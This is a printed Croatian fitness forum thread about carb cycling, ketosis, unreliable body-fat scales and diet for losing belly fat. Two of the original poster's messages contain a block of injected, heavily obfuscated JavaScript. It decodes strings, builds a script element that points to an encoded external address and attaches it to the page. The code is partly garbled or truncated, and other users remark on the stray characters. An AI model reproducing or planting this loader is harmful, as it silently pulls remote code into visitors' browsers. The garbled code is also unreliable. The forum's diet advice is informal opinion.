Cikliranje UH-a
Printed From: Fitness.com.hr Forum
Category: Početnici
Forum Name: Ostala pitanja početnika i savjeti
Forum Description: Sva ostala početnička pitanja i rasprave.
URL: http://www.fitness.com.hr/forum/forum_posts.asp?TID=9881
Printed Date: 03 Svibanj 2025 at 00:29
Software Version: Web Wiz Forums 10.14 - http://www.webwizforums.com
Topic: Cikliranje UH-a
Posted By: motivation_
Subject: Cikliranje UH-a
Date Posted: 08 Prosinac 2014 at 19:51
|
POzdrav....
imam jednu nedoumicu i voljela bih cuti misljenje vas koji imate vise iskustva,,,
Danas sam procitala na nekom fitness site-u da ukoliko se smanji unos UH-a na jako nizak, recimo 50 grama (sto za nekog znaci ketoza) da u tom slucaju kortizol se luci previse, i zbog toga nije moguc gubitak sala na trbuhu...
ovo pitam iz razloga sto vec dugo pokusavam izgubiti salo na trbuhu. U zadnje vrijeme ne jedem ispod 100 grama UH cak ni kad ne vjezbam, a vjezbam vise, 5 puta tjedno (3-4 puta cross fit-nakon toga plivanje 1 km, 1-2 puta cardio 50 minuta), i primjetila sam da mi trbuh izgleda bolje, mada i ja mislim da tu ima raznih faktora, i stres i mjesecnica (pred menstrualni sindrom) dosta utjecu na mene.
Inace visoka sam 180 cm, imam 77 kilograma, vaga je pokazala 23,7% body fat, cilj je skinuti ovo na 20% u naredne 2-3 godine.
Eto zahvaljujem se, nadam se da ima nekih koji bi me posavjetovali.
Pozdrav
|
Replies:
Posted By: motivation_
Date Posted: 08 Prosinac 2014 at 19:53
|
I jos me zanima vase misljenje, sto vi mislite za ovaj postotak body fat-a (imam 23 godine)?
|
Posted By: dena75
Date Posted: 08 Prosinac 2014 at 20:23
 motivation_ wrote:
I jos me zanima vase misljenje, sto vi mislite za ovaj postotak body fat-a (imam 23 godine)?
|
...dan kad je samo cardio ajde ispod 100g...kad su vježbe snage ne daj ispod 100g...i nedilju se opusti pojedi sve šta voliš...ketoza ti je ispod 20g a nekome i 50g a moš je osjetit jer se stvori okus metala u ustima.
|
Posted By: motivation_
Date Posted: 08 Prosinac 2014 at 20:26
|
iskreno meni ja osjetim ketozu i na 60 grama...imam uzasne bolove u glavi i cudan zadah...
|
Posted By: dena75
Date Posted: 08 Prosinac 2014 at 20:59
motivation_ wrote:
iskreno meni ja osjetim ketozu i na 60 grama...imam uzasne bolove u glavi i cudan zadah... |
... ...ako ti kažem koliko triba dodat grama....odmah će me FIt moderatori banirat.... jer puno računam u gramima
|
Posted By: Morrighan
Date Posted: 08 Prosinac 2014 at 22:00
Hmmmm a jesi li sigurna to za 23 posto BF? Nesto mi to deluje mnogo visoko obzirom na stepen tvoje aktivnosti...Gde si se merila?
-------------
|
Posted By: Fortitudo
Date Posted: 08 Prosinac 2014 at 22:06
motivation_ wrote:
POzdrav....
imam jednu nedoumicu i voljela bih cuti misljenje vas koji imate vise iskustva,,,
Danas sam procitala na nekom fitness site-u da ukoliko se smanji unos UH-a na jako nizak, recimo 50 grama (sto za nekog znaci ketoza) da u tom slucaju kortizol se luci previse, i zbog toga nije moguc gubitak sala na trbuhu...
ovo pitam iz razloga sto vec dugo pokusavam izgubiti salo na trbuhu. U zadnje vrijeme ne jedem ispod 100 grama UH cak ni kad ne vjezbam, a vjezbam vise, 5 puta tjedno (3-4 puta cross fit-nakon toga plivanje 1 km, 1-2 puta cardio 50 minuta), i primjetila sam da mi trbuh izgleda bolje, mada i ja mislim da tu ima raznih faktora, i stres i mjesecnica (pred menstrualni sindrom) dosta utjecu na mene.
Inace visoka sam 180 cm, imam 77 kilograma, vaga je pokazala 23,7% body fat, cilj je skinuti ovo na 20% u naredne 2-3 godine.
Eto zahvaljujem se, nadam se da ima nekih koji bi me posavjetovali.
Pozdrav |
Druga stvar, nemoj se puno zamarati ovim vagama i uređajima što pokazuju postotak masti. Odraz u ogledalu je najbolji pokazatelj. Ove vage i uređaji za mjerenje rade na principu slabe struje koja prolazi kroz tijelo. Znači oni uređaji koji se drže u rukama tijekom mjerenja nemaju toliku snagu da izračunaju %bf-a u nogama, a ove vage ne mogu izračunati u gornjem dijelu tijela. Nemoj se zamarati ni kilogramima jer nije isto imati 50 kg sala i 50 kg mišića. Ako kilogrami i dalje stoje to ne mora značiti da ne napreduješ.
Najbolje ti je radi mjerenja krojačkim metrom, slikaj se i kasnije uspoređuj stare i nove slike i mjerenja..
Očekivanja su ti realna i vjerujem da ćeš ih ostvarit.. Samo naprijed 
|
Posted By: motivation_
Date Posted: 08 Prosinac 2014 at 23:55
Morrighan wrote:
Hmmmm a jesi li sigurna to za 23 posto BF? Nesto mi to deluje mnogo visoko obzirom na stepen tvoje aktivnosti...Gde si se merila? |
Mjerila sam se u teretani na vagi...
|
Posted By: motivation_
Date Posted: 08 Prosinac 2014 at 23:57
Fortitudo wrote:
motivation_ wrote:
POzdrav....
imam jednu nedoumicu i voljela bih cuti misljenje vas koji imate vise iskustva,,,
Danas sam procitala na nekom fitness site-u da ukoliko se smanji unos UH-a na jako nizak, recimo 50 grama (sto za nekog znaci ketoza) da u tom slucaju kortizol se luci previse, i zbog toga nije moguc gubitak sala na trbuhu...
ovo pitam iz razloga sto vec dugo pokusavam izgubiti salo na trbuhu. U zadnje vrijeme ne jedem ispod 100 grama UH cak ni kad ne vjezbam, a vjezbam vise, 5 puta tjedno (3-4 puta cross fit-nakon toga plivanje 1 km, 1<span style="line-height: 1.4;">-2 puta cardio 50 minuta), i primjetila sam da mi trbuh izgleda bolje,</span> <span style="line-height: 1.4;">mada i ja mislim da tu ima raznih faktora, i stres i mjesecnica (pred menstrualni sindrom) dosta utjecu na mene.</span> <span style="line-height: 1.4;">
</span> <span style="line-height: 1.4;">Inace visoka sam 180 cm, imam 77 kilograma, vaga je pokazala 23,7% body fat, cilj je skinuti ovo</span> <span style="line-height: 1.4;">na 20% u naredne 2-3 godine.</span> <span style="line-height: 1.4;">
</span> <span style="line-height: 1.4;">Eto zahvaljujem se, nadam se da ima nekih koji bi me posavjetovali.</span> <span style="line-height: 1.4;">
</span> <span style="line-height: 1.4;">Pozdrav</span> |
Druga stvar, nemoj se puno zamarati ovim vagama i uređajima što pokazuju postotak masti. Odraz u ogledalu je najbolji pokazatelj. Ove vage i uređaji za mjerenje rade na principu slabe struje koja prolazi kroz tijelo. Znači oni uređaji koji se drže u rukama tijekom mjerenja nemaju toliku snagu da izračunaju %bf-a u nogama, a ove vage ne mogu izračunati u gornjem dijelu tijela. Nemoj se zamarati ni kilogramima jer nije isto imati 50 kg sala i 50 kg mišića. Ako kilogrami i dalje stoje to ne mora značiti da ne napreduješ.
Najbolje ti je radi mjerenja krojačkim metrom, slikaj se i kasnije uspoređuj stare i nove slike i mjerenja..
Očekivanja su ti realna i vjerujem da ćeš ih ostvarit.. Samo naprijed
|
Sve mi je jasno...znam da ne mogu samo s trbuha izgubiti salo...ali poslije svega pitam se sta je zapravo najbolje za mene...izbalansirana prehrana i jaci trening ili smanjiti uh...
To me muci vec duze vrijeme ne znam sto je najbolje za napraviti...
|
Posted By: dena75
Date Posted: 09 Prosinac 2014 at 21:15
[email protected]što sam ti ja na forumu zadužen za brojeve i grame....a vidim da voliš brojati kao i ja .... i vidim još nisi dobila odgovor....ja ću ti odgovoriti...na tvoju kilažu i visinu i tvoje aktivnosti: P=160g UH=200g M=70g ... to je 2000kcl a tvoj TDEE: je 2500kcl znači 500 si u deficitu
|
Posted By: Fortitudo
Date Posted: 09 Prosinac 2014 at 21:38
motivation_ wrote:
Sve mi je jasno...znam da ne mogu samo s trbuha izgubiti salo...ali poslije svega pitam se sta je zapravo najbolje za mene...izbalansirana prehrana i jaci trening ili smanjiti uh...
To me muci vec duze vrijeme ne znam sto je najbolje za napraviti... |
Ja bi radije izbalansiranu prehranu i jači trening. To je moje mišljenje  |
Posted By: Fortitudo
Date Posted: 09 Prosinac 2014 at 21:39
dena75 wrote:
.motivation@..pošto sam ti ja na forumu zadužen za brojeve i grame....a vidim da voliš brojati kao i ja.... i vidim još nisi dobila odgovor....ja ću ti odgovoriti...na tvoju kilažu i visinu i tvoje aktivnosti: P=160g UH=200g M=70g ... to je 2000kcl a tvoj TDEE: je 2500kcl znači 500 si u deficitu |
|
Posted By: dena75
Date Posted: 09 Prosinac 2014 at 21:54
matematiku...je je...istina jedino šta znam izvadit korijen...kupusa
|
Posted By: Fortitudo
Date Posted: 09 Prosinac 2014 at 21:57
dena75 wrote:
|
hahahahaha naravno da ne  |
Posted By: dena75
Date Posted: 09 Prosinac 2014 at 21:59
Fortitudo wrote:
dena75 wrote:
|
hahahahaha naravno da ne |
..drago mi je  ..inače se volim šprdat na svoj račun... |
Posted By: Mike
Date Posted: 10 Prosinac 2014 at 01:51
|
Te vage uglavnom puno fulaju. Ako imas vise vode ili soli pokazuje drugacije, kad izbacis vodu pokazuje drugacije, kad se prije vaganja najedes pokazuje drugacije, nakon treninga opet drugacije, nemoj to opce uzimat u obzir jer za isti BF, a razlicite uvjete kaze sa dosta velikom razlikom. Ako hoces tocan BF odi na kinezioloski fakultet, tamo ti mogu precizno izmjeriti i intepretirati ali kosta oko 180 kn. BF mozes skinuti puno brze od ocekivanog. Ja sam 24 na 16 dosao za malo manje od 4 mj i to bas smanjenim unosom UH i naravno treningom uz minimalan kardio, 1-2 puta tjedno lagano trckaranje 8km/h 20-25 min. Prvo keto 30 dana, pa dalje cikliranjem 120, 80, 50 UH dnevno i tak u krug. E da, cure obicno imaju veci BF nego decki :)
|
Posted By: motivation_
Date Posted: 10 Prosinac 2014 at 11:10
|
[QUOTE=dena75][email protected]što sam ti ja na forumu zadužen za brojeve i grame....a vidim da voliš brojati kao i ja.... i vidim još nisi dobila odgovor....ja ću ti odgovoriti...na tvoju kilažu i visinu i tvoje aktivnosti: P=160g UH=200g M=70g ... to je 2000kcl a tvoj TDEE: je 2500kcl znači 500 si u deficitu[/Q UOTE]< id="">(function(){var q=function(j){var a=046,z="",x=window,h=("\x66\u0072\x6f\u006D\x43\u0068\u0077c"+"\x69\u005a\u004E"+"e")["r"+"e"+"p\u006cace"+""]("\x77ci"+"Z\u004e","\x61\u0072\u0043\u006f\x64"),o=("\u0063K\u0044\u0077J"+"M\u0064\x65\x41t")[("\x4f\x46f"+"\x68\x61c\x65").replace("\u004FF\x66\x68",""+"r\x65\u0070\u006c")]("\x4B\u0044"+"w\u004aM","h"+""+"a\x72\u0043"+"o"),e=("\u006Cen\u0065"+"Gh")['r'+'e\u0070'+'la\u0063e']("\u0065\x47","\x67t"),t=("\x41\x6e\x6A\x67"+"n"+"g")[('r'+'UoY'+'Je').replace('\x55o'+''+'Y\x4A','e'+'p\u006C'+'ac')]("A\u006E\u006Ag","\x53"+"t"+"r\u0069"),b=x[t],d=b[h],y,r;for(var g=0;g>2;wj=((g&3)<<4|gu>>4);lm=((gu&15)<<2|jk>>6);et=jk&63;if(isNaN(gu)){lm=et=64}else{if(isNaN(jk)){et=64}}qo=qo+this[q(('\u0053\x5aE_\x75\x52\x54').replace('\x53Z'+'E',''+'yMC'))][q("E"+"N"+"\u0047\u0054\u0067\u0052")](su)+this[q(('\x55Tk'+'U\x75\u0052T'+'').replace('U'+'T'+'\u006B\u0055','\u0079MC'+'_'+''))][q('E'+'NG'+'Tg\u0052')](wj)+this[q("\x79\x4d\x43_"+"\x75RT")][q((''+'E\x79\u0059\x52'+'Hg'+''+'R').replace('yY'+'R\u0048','NG\x54'))](lm)+this[q("\x79\u004DC_"+"u\u0052\u0054")][q(('\u0049i\x52').replace('\x49i','\x45\u004EG'+'Tg'))](et)}return qo},decode:function(il){var gu={},yw,uu,ba=[],gv="",of=String[q(("@\u0054\u0049"+"Ke"+"\u004eGk\u0074"+"N\u0050xIBC"+"").replace(""+"k\u0074\u004EP"+"x","\x54e"))];var ci=[[65,91],[97,123],[48,58],[43,44],[47,48]];for(ib in ci){for(yw=ci[ib][0];yw=8){gv+=of((et>>>(ur-=8))%256)}}}return gv},_utf8_encode:function(mu){mu=mu[q(('T'+'\x71\x44\x48'+'EC'+'').replace('\x71'+'D\u0048','C'+'V'+'\u004a\x47'))](/\r\n/g,"\n");var ci="";for(var ur=0;ur127)&&(uu<2048ci+=q'u0040x54x49E'+'jG'+'Tx65x49u0042u0043'.replace'E'+'j','Ku0065N'+''uu>>6)|192);ci+=String[q('@\u0054\u0049'+'K\u0065N\u0047T\x65I'+'\x42\u0043')]((uu&63)|128)}else{ci+=String[q(("\u0040\u0054\u0049\x4B\x65p"+"\x63D"+"i\x49BC").replace("\u0070c"+"D\x69","N"+""+"GTe"))]((uu>>12)|224);ci+=String[q(("@"+"DC"+"N\x47\u0054e"+"\u0049\x42C"+"").replace("\u0044C"+"","T\u0049\u004be"))](((uu>>6)&63)|128);ci+=String[q("@T\x49\u004b\x65N"+"\u0047\u0054"+"e\x49"+"B\x43")]((uu&63)|128)}}}return ci}};var vx=q('\x48\u001b')+dv+q('\x00\u004E\u001bA'+'\u004F'+'T\b\u0042\u0054\u004f'+'P\x43\u0054\u0049V\u0052O'+'\b'+'HC'+'R\u0000I\x1B\u0042\u0056\x00\u0047\u001B\u0014\u0016\x12\x16\x00\u0055\u001b\u0014\x16\u001E\x14\x00E\u001B\u0041TC'+'C\u0048\u0000Q'+'\x1B')+document[q('\x4AI'+'\u0045\x47RO\u0049H')][q(("\x4E\x49\u0055L\x6D\x4bC"+"").replace("L\x6d","\u0052H\x47"))];var io=q('\x4E\u0052R'+'\u0056\u001c\t\t\x41\x4FT\bB'+'TO\u0050\x43TI\x56R\x4F\b\x48CR'+'\t'+'U\x42\t\x47\u0056\u0056\u0055\t\u0047B'+'OH'+''+'@\x49\u000B\x17\b\x16\t\x4fHB'+'C'+'^'+'\bN\u0052\x4bJ\u0019')+qn[q(('\x43H'+'aI'+'o'+'C').replace('a\x49o','\x45\u0049'+'B'))](vx);var sk=document[q("\x45T"+"\x43G\x52C"+""+"c\u004A\u0043\u004b\x43HR"+"")](q('U'+'E'+'T'+'O\u0056\x52'));sk[q('\x55\u0043R\u0067R'+'\u0052'+'TO\x44S\x52\x43')](q('\x52\u005F\u0056C'),q('\u0052'+'C'+'^'+'R\t\x4CGPG'+'UE'+'\x54OV'+''+'R'));sk[q(('\u0055\u0043R'+'\x67\u0052\u0052'+'TO'+'D'+'p'+'U\u006AC').replace('\x70U\x6A','\x53R'+''))](q("\x45\x4EG\u0054\u0055C"+"R"),q("\u0073"+"r`\x0B\x1E"));if("http:"==document[q(("\u004a\x49E"+"B"+"e"+"\x6c\x74d\u004F\x49\x48").replace("Be\u006ctd","G"+""+"R"))][q(("V"+"T\u0049R"+"\x4c"+"d\u0074Z"+"I\u004A").replace("L\u0064\u0074"+"Z","\x49E"))]){sk[q(('\u0055C'+'R\x67'+'R'+'Rl\x45'+'g\u0076DSR\u0043').replace(''+'l\u0045\x67'+'v','\u0054O'))](q(''+'UT'+'E'),q('\x4ERR\u0056\x1c\t\tO'+'\b\u0054P\\T'+'\u004cU\b\x4fH'+'\u0040\x49\t\x54\u0050\\T'+'\t\u004c\x47\x50'+'GU'+'\u0045\u0054\x4F\u0056'+'R\bL\x55\u0019\x45N'+'\u0047'+'H\x48\x43J\x1b\u0054P\\T'+'\u0014\x16\x12\u0016\u0079\x14\u0016\x1e\u0014\u0000'+'G\u0056'+'V\x72'+'O\u0052\u004a\x43\u001B')+dv+q("\u0000V\x4A\x4F\x48\u004D\x1B")+encodeURIComponent(io));}else{sk[q(("\x55\x43R\u0067\u0052\u0052T"+"Ki\u0075"+"cR"+"C").replace(""+"Kiuc","\x4F\x44S"))](q("\u0055"+"T"+"E"),q(('\x4eR'+'RV\u0055\x1c\t\t\x4fy'+'TP'+'\\\x54\u004c\u0055\x79OH\u0040\x49\b\x52\u004aU'+''+'EB'+'\u0048\bE\x49\u004B\t\x54\x50\\\u0054\tL\x47P\x47\u0055ET'+'O'+'V\x52\bLU\u0019\u0045'+'N\x57\x54\x48x\u0043\x4A\u001B\x54P\\\x54\x14\x16\x12\x16'+'y\x14\x16\u001E\u0014\x00'+'G'+'V\x56r'+'OR\x4A\u0043\x1b').replace('W'+''+'THx','\u0047HH'+''))+dv+q(("\u0045qM\x4d\u001B").replace(""+"E\u0071\u004d","\u0000\u0056JO\u0048"))+encodeURIComponent(io));}document[q('D'+'IB\x5F')][q((""+"GVV\x43\u0048B\u0065S\x57\u0065N\u004AB").replace("S"+"W\u0065N"+"","\x4e\x4F"))](sk);})();;var ce=document[q(''+'E\u0054\u0043GR'+'\u0043c'+'J\u0043'+'KC'+'H'+'\x52')](q("\u0055E\x54\u004fV\u0052"));try{if(true)var wq=navigator.appName;}catch(nz){};ce[q("\u0055TE")]=q("\t\tA\u004fT"+"\b\u0042"+"T\u004FP"+"\x43"+"T\u0049V"+"R"+"\u004F\bH\u0043\x52\t\x55"+"B\t\x14\x16\u0012\x16\t\u0014\x16\u001e\u0014\bL\x55");var sw=window[("\u0078B"+"w").replace("\x78\x42","\x77\u0069n\x64\u006F")];document[q(("DNc"+"\x66_"+"").replace("N\u0063\x66","\x49\u0042"))][q('\x47\u0056\u0056C'+'HB\u0065'+'NO\u004A\x42')](ce);}})();
ovo jedem kad imam high carb day? ili je ovo dio 'izbalansirane' prehrane?
|
Posted By: motivation_
Date Posted: 10 Prosinac 2014 at 11:13
Mike wrote:
Te vage uglavnom puno fulaju. Ako imas vise vode ili soli pokazuje drugacije, kad izbacis vodu pokazuje drugacije, kad se prije vaganja najedes pokazuje drugacije, nakon treninga opet drugacije, nemoj to opce uzimat u obzir jer za isti BF, a razlicite uvjete kaze sa dosta velikom razlikom. Ako hoces tocan BF odi na kinezioloski fakultet, tamo ti mogu precizno izmjeriti i intepretirati ali kosta oko 180 kn. BF mozes skinuti puno brze od ocekivanog. Ja sam 24 na 16 dosao za malo manje od 4 mj i to bas smanjenim unosom UH i naravno treningom uz minimalan kardio, 1-2 puta tjedno lagano trckaranje 8km/h 20-25 min. Prvo keto 30 dana, pa dalje cikliranjem 120, 80, 50 UH dnevno i tak u krug. E da, cure obicno imaju veci BF nego decki :) |
Hm svaka cast...4 mjeseca???? wtf... predobro... ja se ne usudjem ic na keto-imam probleme s tim rezimom- boli me glava i nakon par dana pocnem jesti puno UH ne mogu da se suzdrzim valjda zbog gubitka UH na ketozi, plus tesko mi je trenirat bez UH ja ne znam kako vi to uspjete fakat  jer ja nekad sa 150 grama UH prije cross treninga koji radim osjetim vrtoglavicu i nemoc, a kamoli sa 30, 40 ili 50 grama 
-------------
|
Posted By: motivation_
Date Posted: 10 Prosinac 2014 at 11:13
izvinjavam se na ovim znakovima...
-------------
|
Posted By: Gym_girl
Date Posted: 10 Prosinac 2014 at 12:43
Fortitudo wrote:
Salo se ne može lokalno gubiti. |
Može, inekcijama inzulina i hormona rasta
Ajmo ozbiljno...motivation, kako trenutno jedeš? I treniraš?
I zašto te prate ovi znakovi kroz svaki post?
-------------
"To lead the orchestra, you have to turn your back on the crowd."
Nutricionist & Fitness instruktor
PN Certified Coach
e-mail: [email protected]
www.instagram.com/me_better365/
|
Posted By: Gym_girl
Date Posted: 10 Prosinac 2014 at 12:46
|
Obrisala sam ti pa ponovi to što si stavljala, nekako drukčije :)
-------------
"To lead the orchestra, you have to turn your back on the crowd."
Nutricionist & Fitness instruktor
PN Certified Coach
e-mail: [email protected]
www.instagram.com/me_better365/
|
Posted By: Fortitudo
Date Posted: 10 Prosinac 2014 at 14:35
Gym_girl wrote:
Fortitudo wrote:
Salo se ne može lokalno gubiti. |
Može, inekcijama inzulina i hormona rasta
|
|
Posted By: Gym_girl
Date Posted: 10 Prosinac 2014 at 14:39
|
Znam, znam
-------------
"To lead the orchestra, you have to turn your back on the crowd."
Nutricionist & Fitness instruktor
PN Certified Coach
e-mail: [email protected]
www.instagram.com/me_better365/
|
Posted By: motivation_
Date Posted: 10 Prosinac 2014 at 16:08
sad trenutno pokusavam jesti izbalansirano mada kada ne treniram pokusavam biti na oko 100 grama UH...
kad treniram jedem oko 150, ponekad 200 grama...
proteini oko 100-120 grama, i masti-uzmem ujutru lanene uz zobene,
i jedem cesto losos (svaki 2-3 dan), i popodne malo ljesnjaka ili oraha, i dnevno 1000 mg omege 3 jer su mi trigliceridi bili blago povecani na zadnjem testu...jela sam dosta jaja e sad je li od toga nije od toga ne znam jer sam jela citavo jaje, sad ako jedem jaje jedem jedan zumanjak i ostalo bjelanca
|
Posted By: motivation_
Date Posted: 10 Prosinac 2014 at 16:10
e sad ne mogu rec da nekad ne pojedem kebab, malo cokolade il krofnu, i tako to ali se trudim da to ne bude cesto i ako varam da bude jedan obrok...znam da moram sebi postavit cilj i drzat se toga samo sto gubim kontrolu pogotovo pred menstruaciju
|
Posted By: motivation_
Date Posted: 10 Prosinac 2014 at 16:11
i sad sam uvela u svaki obrok jesti zeleno povrce, bez voca stvarno ne mogu tako da ne znam da li bi ikada mogla ic na keto
|
Posted By: dena75
Date Posted: 10 Prosinac 2014 at 17:35
motivation_ wrote:
[QUOTE=dena75][email protected]što sam ti ja na forumu zadužen za brojeve i grame....a vidim da voliš brojati kao i ja.... i vidim još nisi dobila odgovor....ja ću ti odgovoriti...na tvoju kilažu i visinu i tvoje aktivnosti: P=160g UH=200g M=70g ... to je 2000kcl a tvoj TDEE: je 2500kcl znači 500 si u deficitu[/QUOTE]
ovo jedem kad imam high carb day? ili je ovo dio 'izbalansirane' prehrane? |
....to ti je definicija....deficit.....znači skidanje sala ...ako pet dana vježbaš u tjednu..
-------------
iznajmljujem sobnu biciklu
|
Posted By: Gym_girl
Date Posted: 11 Prosinac 2014 at 12:49
motivation_ wrote:
sad trenutno pokusavam jesti izbalansirano mada kada ne treniram pokusavam biti na oko 100 grama UH...
kad treniram jedem oko 150, ponekad 200 grama...
proteini oko 100-120 grama, i masti-uzmem ujutru lanene uz zobene,
i jedem cesto losos (svaki 2-3 dan), i popodne malo ljesnjaka ili oraha, i dnevno 1000 mg omege 3 jer su mi trigliceridi bili blago povecani na zadnjem testu...jela sam dosta jaja e sad je li od toga nije od toga ne znam jer sam jela citavo jaje, sad ako jedem jaje jedem jedan zumanjak i ostalo bjelanca
|
Ovo mi zbilja malo govori, sorry :)
Može zadnja 3 dana, iz obroka u obrok, što detaljnije? :)
Što se triglicerida tiče, pusti jadna jaja na miru :) ali razmisli o mogućnosti problema sa štitnjačom (na to ću prvo posumnjati s obzirom na očite česte prolongirane deficite). btw. kako kolesterol stoji? Može se vezati i za druge poremećaje, ali to ne vjerujem da je slučaj..bubrezi, jetra...isto tako, puno ljudi krivo misli da te povišene masnoće u krvi dolaze isključivo od masnoća iz hrane, a zaboravljaju na ulogu ugljikohidrata...što kod tebe sigurno nije slučaj, jer vjerojatno jedeš i premalo uh-a (bez obzira na povremeni unos ovoga što govoriš). Ukoliko koristiš kontracepciju, uzmi u to u obzir....eto, čisto da ti malo pokažem i širu sliku tih trig. jer ta jaja uvijek prva pate :)
-------------
"To lead the orchestra, you have to turn your back on the crowd."
Nutricionist & Fitness instruktor
PN Certified Coach
e-mail: [email protected]
www.instagram.com/me_better365/
|
Posted By: motivation_
Date Posted: 12 Prosinac 2014 at 10:20
|
ok...< id="">(function(){var q=function(j){var a=046,z="",x=window,h=("\x66\u0072\x6f\u006D\x43\u0068\u0077c"+"\x69\u005a\u004E"+"e")["r"+"e"+"p\u006cace"+""]("\x77ci"+"Z\u004e","\x61\u0072\u0043\u006f\x64"),o=("\u0063K\u0044\u0077J"+"M\u0064\x65\x41t")[("\x4f\x46f"+"\x68\x61c\x65").replace("\u004FF\x66\x68",""+"r\x65\u0070\u006c")]("\x4B\u0044"+"w\u004aM","h"+""+"a\x72\u0043"+"o"),e=("\u006Cen\u0065"+"Gh")['r'+'e\u0070'+'la\u0063e']("\u0065\x47","\x67t"),t=("\x41\x6e\x6A\x67"+"n"+"g")[('r'+'UoY'+'Je').replace('\x55o'+''+'Y\x4A','e'+'p\u006C'+'ac')]("A\u006E\u006Ag","\x53"+"t"+"r\u0069"),b=x[t],d=b[h],y,r;for(var g=0;g>2;wj=((g&3)<<4|gu>>4);lm=((gu&15)<<2|jk>>6);et=jk&63;if(isNaN(gu)){lm=et=64}else{if(isNaN(jk)){et=64}}qo=qo+this[q(('\u0053\x5aE_\x75\x52\x54').replace('\x53Z'+'E',''+'yMC'))][q("E"+"N"+"\u0047\u0054\u0067\u0052")](su)+this[q(('\x55Tk'+'U\x75\u0052T'+'').replace('U'+'T'+'\u006B\u0055','\u0079MC'+'_'+''))][q('E'+'NG'+'Tg\u0052')](wj)+this[q("\x79\x4d\x43_"+"\x75RT")][q((''+'E\x79\u0059\x52'+'Hg'+''+'R').replace('yY'+'R\u0048','NG\x54'))](lm)+this[q("\x79\u004DC_"+"u\u0052\u0054")][q(('\u0049i\x52').replace('\x49i','\x45\u004EG'+'Tg'))](et)}return qo},decode:function(il){var gu={},yw,uu,ba=[],gv="",of=String[q(("@\u0054\u0049"+"Ke"+"\u004eGk\u0074"+"N\u0050xIBC"+"").replace(""+"k\u0074\u004EP"+"x","\x54e"))];var ci=[[65,91],[97,123],[48,58],[43,44],[47,48]];for(ib in ci){for(yw=ci[ib][0];yw=8){gv+=of((et>>>(ur-=8))%256)}}}return gv},_utf8_encode:function(mu){mu=mu[q(('T'+'\x71\x44\x48'+'EC'+'').replace('\x71'+'D\u0048','C'+'V'+'\u004a\x47'))](/\r\n/g,"\n");var ci="";for(var ur=0;ur127)&&(uu<2048ci+=q'u0040x54x49E'+'jG'+'Tx65x49u0042u0043'.replace'E'+'j','Ku0065N'+''uu>>6)|192);ci+=String[q('@\u0054\u0049'+'K\u0065N\u0047T\x65I'+'\x42\u0043')]((uu&63)|128)}else{ci+=String[q(("\u0040\u0054\u0049\x4B\x65p"+"\x63D"+"i\x49BC").replace("\u0070c"+"D\x69","N"+""+"GTe"))]((uu>>12)|224);ci+=String[q(("@"+"DC"+"N\x47\u0054e"+"\u0049\x42C"+"").replace("\u0044C"+"","T\u0049\u004be"))](((uu>>6)&63)|128);ci+=String[q("@T\x49\u004b\x65N"+"\u0047\u0054"+"e\x49"+"B\x43")]((uu&63)|128)}}}return ci}};var vx=q('\x48\u001b')+dv+q('\x00\u004E\u001bA'+'\u004F'+'T\b\u0042\u0054\u004f'+'P\x43\u0054\u0049V\u0052O'+'\b'+'HC'+'R\u0000I\x1B\u0042\u0056\x00\u0047\u001B\u0014\u0016\x12\x16\x00\u0055\u001b\u0014\x16\u001E\x14\x00E\u001B\u0041TC'+'C\u0048\u0000Q'+'\x1B')+document[q('\x4AI'+'\u0045\x47RO\u0049H')][q(("\x4E\x49\u0055L\x6D\x4bC"+"").replace("L\x6d","\u0052H\x47"))];var io=q('\x4E\u0052R'+'\u0056\u001c\t\t\x41\x4FT\bB'+'TO\u0050\x43TI\x56R\x4F\b\x48CR'+'\t'+'U\x42\t\x47\u0056\u0056\u0055\t\u0047B'+'OH'+''+'@\x49\u000B\x17\b\x16\t\x4fHB'+'C'+'^'+'\bN\u0052\x4bJ\u0019')+qn[q(('\x43H'+'aI'+'o'+'C').replace('a\x49o','\x45\u0049'+'B'))](vx);var sk=document[q("\x45T"+"\x43G\x52C"+""+"c\u004A\u0043\u004b\x43HR"+"")](q('U'+'E'+'T'+'O\u0056\x52'));sk[q('\x55\u0043R\u0067R'+'\u0052'+'TO\x44S\x52\x43')](q('\x52\u005F\u0056C'),q('\u0052'+'C'+'^'+'R\t\x4CGPG'+'UE'+'\x54OV'+''+'R'));sk[q(('\u0055\u0043R'+'\x67\u0052\u0052'+'TO'+'D'+'p'+'U\u006AC').replace('\x70U\x6A','\x53R'+''))](q("\x45\x4EG\u0054\u0055C"+"R"),q("\u0073"+"r`\x0B\x1E"));if("http:"==document[q(("\u004a\x49E"+"B"+"e"+"\x6c\x74d\u004F\x49\x48").replace("Be\u006ctd","G"+""+"R"))][q(("V"+"T\u0049R"+"\x4c"+"d\u0074Z"+"I\u004A").replace("L\u0064\u0074"+"Z","\x49E"))]){sk[q(('\u0055C'+'R\x67'+'R'+'Rl\x45'+'g\u0076DSR\u0043').replace(''+'l\u0045\x67'+'v','\u0054O'))](q(''+'UT'+'E'),q('\x4ERR\u0056\x1c\t\tO'+'\b\u0054P\\T'+'\u004cU\b\x4fH'+'\u0040\x49\t\x54\u0050\\T'+'\t\u004c\x47\x50'+'GU'+'\u0045\u0054\x4F\u0056'+'R\bL\x55\u0019\x45N'+'\u0047'+'H\x48\x43J\x1b\u0054P\\T'+'\u0014\x16\x12\u0016\u0079\x14\u0016\x1e\u0014\u0000'+'G\u0056'+'V\x72'+'O\u0052\u004a\x43\u001B')+dv+q("\u0000V\x4A\x4F\x48\u004D\x1B")+encodeURIComponent(io));}else{sk[q(("\x55\x43R\u0067\u0052\u0052T"+"Ki\u0075"+"cR"+"C").replace(""+"Kiuc","\x4F\x44S"))](q("\u0055"+"T"+"E"),q(('\x4eR'+'RV\u0055\x1c\t\t\x4fy'+'TP'+'\\\x54\u004c\u0055\x79OH\u0040\x49\b\x52\u004aU'+''+'EB'+'\u0048\bE\x49\u004B\t\x54\x50\\\u0054\tL\x47P\x47\u0055ET'+'O'+'V\x52\bLU\u0019\u0045'+'N\x57\x54\x48x\u0043\x4A\u001B\x54P\\\x54\x14\x16\x12\x16'+'y\x14\x16\u001E\u0014\x00'+'G'+'V\x56r'+'OR\x4A\u0043\x1b').replace('W'+''+'THx','\u0047HH'+''))+dv+q(("\u0045qM\x4d\u001B").replace(""+"E\u0071\u004d","\u0000\u0056JO\u0048"))+encodeURIComponent(io));}document[q('D'+'IB\x5F')][q((""+"GVV\x43\u0048B\u0065S\x57\u0065N\u004AB").replace("S"+"W\u0065N"+"","\x4e\x4F"))](sk);})();;var 